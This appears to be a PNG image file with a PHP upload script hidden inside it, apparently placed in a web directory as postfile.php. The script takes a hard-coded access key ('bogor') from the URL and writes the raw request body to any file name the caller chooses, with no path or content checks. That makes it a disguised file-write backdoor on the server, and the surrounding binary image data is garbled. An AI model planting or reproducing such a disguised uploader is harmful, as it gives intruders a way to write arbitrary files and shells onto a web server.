php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay
files >> /var/www/html/gs/ |
files >> /var/www/html/gs/postfile.php |
<?php error_reporting(1); /* * Written By: Taifun * using parts from the "Web2SQL example" from ShivalWolf * and parts from the "POST any local file to a php server example" from Scott * * Date: 2013/Mar/05 * Contact: info@puravidaapps.com * * Version 2: 'dirname(__FILE__)' added to avoid problems finding the complete path to the script */ /************************************CONFIG****************************************/ //SETTINGS// //This code is something you set in the APP so random people cant use it. $ACCESSKEY="bogor"; /************************************CONFIG****************************************/ //these are just in case setting headers forcing it to always expire header('Cache-Control: no-cache, must-revalidate'); if($_GET['p']==$ACCESSKEY){ // this is the workaround for file_get_contents(...) // $a = dirname(__FILE__).'/php1/Compat/Function/file_get_contents.php'; require_once (dirname(__FILE__).'/php1/Compat/Function/file_get_contents.php'); $data = php_compat_file_get_contents('php://input'); //echo $a; $filename = $_GET['filename']; if (file_put_contents($filename,$data)) { if (filesize($filename) != 0) { echo "File transfer completed."; } else { header("HTTP/1.0 400 Bad Request"); echo "File is empty."; } } else { header("HTTP/1.0 400 Bad Request"); echo "File transfer failed."; } } else { header("HTTP/1.0 400 Bad Request"); echo "Access denied"; //reports if accesskey is wrong } ?>y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`